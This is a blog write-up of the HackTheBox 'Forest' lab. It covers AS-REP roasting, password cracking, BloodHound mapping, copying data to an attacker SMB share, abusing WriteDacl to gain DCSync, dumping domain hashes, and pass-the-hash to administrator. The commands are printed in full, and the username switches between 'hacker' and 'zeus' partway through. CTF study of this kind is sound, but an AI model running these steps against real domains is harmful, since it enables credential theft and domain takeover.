Sitemap
PizzSec

PizzSec

HackTheBox — Forest Writup

4 min readAug 9, 2024

Initial nmap scan shows the following results

Press enter or click to view image in full size

SMB couldn’t be enumerated without credentials. From the kerberos service running on the server could determine that this is a domain controller.

Added the domain “htb.local” to the /etc/hosts file. Tried enumerating subdomains but couldn’t locate any.

Only logical path that could be taken for initial access seemed to be ldap service running on port 389.

Tried several metasploit modules but couldn’t get any passwords or hashes. But was able to discover usernames.

After looking up a walkthough ran enum4linux to discover previously undetected username “svc-alfresco”.

Press enter or click to view image in full size

Now using this username and ‘impacket-GetNPUsers’ module was able to gain the password hash of the service account (attack is called ASRep Roasting).

AS-REP ROASTING

EXPLANATION- For the user accounts that are enabled with no pre-Authentication,(basically Kerberos pre-authentication is disabled) it’s vulnerable to AS-REP Roasting attack. We can request for that user’s Kerberos TGT ticket without providing any authentication, and the TGT ticket which we will get back will be encrypted with the account’s password. So we can crack the hash offline.Using the Impacket’s GetNPUsers.py script, we can do the attack:

Press enter or click to view image in full size

With hashcat cracked the password for ‘svc-alfresco’ which was ‘s3rvice’. Now using these credential logged in using evil-winrm (because impacket-psexec did not work)

Press enter or click to view image in full size

PRIVESC

The privesc part is also tough on this machine.

We need to run bloodhound to map the network. We need to put ShapHound.exe file on the target machine and run the binary.

*.\SharpHound.exe -c all*

This will create a zip file with the domain information. Now we need to transfer this zip file to the attacker machine. We can setup an smb server on the attacker machine for this.

*impacket-smbserver -smb2support share .*

Now we can run the following on the target to transfer the zip file.

*copy 20231121192354_BloodHound.zip \\10.10.14.5\share\20231121192354_BloodHound.zip*

Now we can feed this to the bloodhound console. We can search for the “svc-alfresco” account and mark it as owned. And then run the query “Shortest Path from Owned Principals”.

Press enter or click to view image in full size

From the above figure, we can see that svc-alfresco is a member of the group Service Accounts which is a member of the group Privileged IT Accounts, which is a member of Account Operators. Moreover, the Account Operators group has GenericAll permissions on the Exchange Windows Permissions group, which has WriteDacl permissions on the domain.

Get PizzSec’s stories in your inbox

Join Medium for free to get updates from this writer.

-svc-alfresco is not just a member of Service Accounts, but is also a member of the groups Privileged IT Accounts and Account Operators.

The Account Operators group grants limited account creation privileges to a user. Therefore, the user svc-alfresco can create other users on the domain.

The Account Operators group has GenericAll permission on the Exchange Windows Permissions group. This permission essentially gives members full control of the group and therefore allows members to directly modify group membership. Since svc-alfresco is a member of Account Operators, he is able to modify the permissions of the Exchange Windows Permissions group.

The Exchange Windows Permission group has WriteDacl permission on the domain HTB.LOCAL. This permission allows members to modify the DACL (Discretionary Access Control List) on the domain. We’ll abuse this to grant ourselves DcSync privileges, which will give us the right to perform domain replication and dump all the password hashes from the domain.

The Attack Path

  1. Create a user on the domain. This is possible because svc-alfresco is a member of the group Account Operators.
  2. Add the user to the Exchange Windows Permission group. This is possible because svc-alfresco has GenericAll permissions on the Exchange Windows Permissions group.
  3. Give the user DcSync privileges. This is possible because the user is a part of the Exchange Windows Permissions group which has WriteDacl permission on the htb.local domain.
  4. Perform a DcSync attack and dump the password hashes of all the users on the domain.
  5. Perform a Pass the Hash attack to get access to the administrator’s account.

*net user hacker password /add /domain*

(Add user to the domain)

*net user /domain*

(Confirm the user was created)

*net group “Exchange Windows Permissions” /add hacker*

(add user to the “Exchange Windows Permissions” group)

We need to transfer PowerView.ps1 to the target to run a DCSync attack.

*. .\PowerView.ps1*

*$pass = convertto-securestring ‘password’ -AsPlainText –Force*

*$cred = New-Object System.Management.Automation.PSCredential(‘htb\zeus’, $pass)*

*Add-DomainObjectAcl -Credential $cred -TargetIdentity “DC=htb,DC=local” -PrincipalIdentity zeus -Rights DCSync*

Running “impacket-secretsdump* to get the administrator hash

*impacket-secretsdump ‘hacker:password@10.10.10.161’*

Press enter or click to view image in full size

We can use a pass the hash attack to gain a shell as administrator

*impacket-psexec administrator@10.10.10.161 -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6*

Press enter or click to view image in full size

--

--